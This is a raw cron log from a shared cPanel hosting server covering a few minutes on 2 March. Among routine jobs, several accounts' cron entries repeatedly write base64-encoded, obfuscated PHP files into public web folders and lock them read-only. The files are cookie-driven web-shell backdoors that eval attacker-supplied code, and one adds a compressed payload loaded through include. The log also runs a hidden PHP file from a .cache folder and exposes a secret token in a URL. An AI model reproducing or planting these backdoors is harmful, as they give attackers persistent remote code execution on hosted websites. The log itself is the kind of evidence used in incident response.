Mar  2 16:42:02 medusa CROND[30611]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:42:02 medusa CROND[30617]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:42:02 medusa CROND[30627]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:42:02 medusa CROND[30628]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:42:02 medusa CROND[30629]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:42:02 medusa CROND[30630]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:42:02 medusa CROND[30632]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:42:02 medusa CROND[30636]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:43:02 medusa CROND[11840]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:43:02 medusa CROND[11841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:43:02 medusa CROND[11842]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:43:02 medusa CROND[11843]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:43:02 medusa CROND[11844]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 16:43:02 medusa CROND[11845]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 16:43:02 medusa CROND[11847]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 16:43:02 medusa CROND[11855]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:43:02 medusa CROND[11854]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:43:02 medusa CROND[11856]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:43:02 medusa CROND[11858]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:43:02 medusa CROND[11860]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:43:02 medusa CROND[11864]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:43:02 medusa CROND[11861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:44:01 medusa CROND[27072]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:44:01 medusa CROND[27350]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:44:01 medusa CROND[27351]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:44:01 medusa CROND[27352]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:44:01 medusa CROND[27354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:44:01 medusa CROND[27355]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:44:01 medusa CROND[27356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:44:01 medusa CROND[27358]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:44:01 medusa CROND[27360]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:44:01 medusa CROND[27361]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
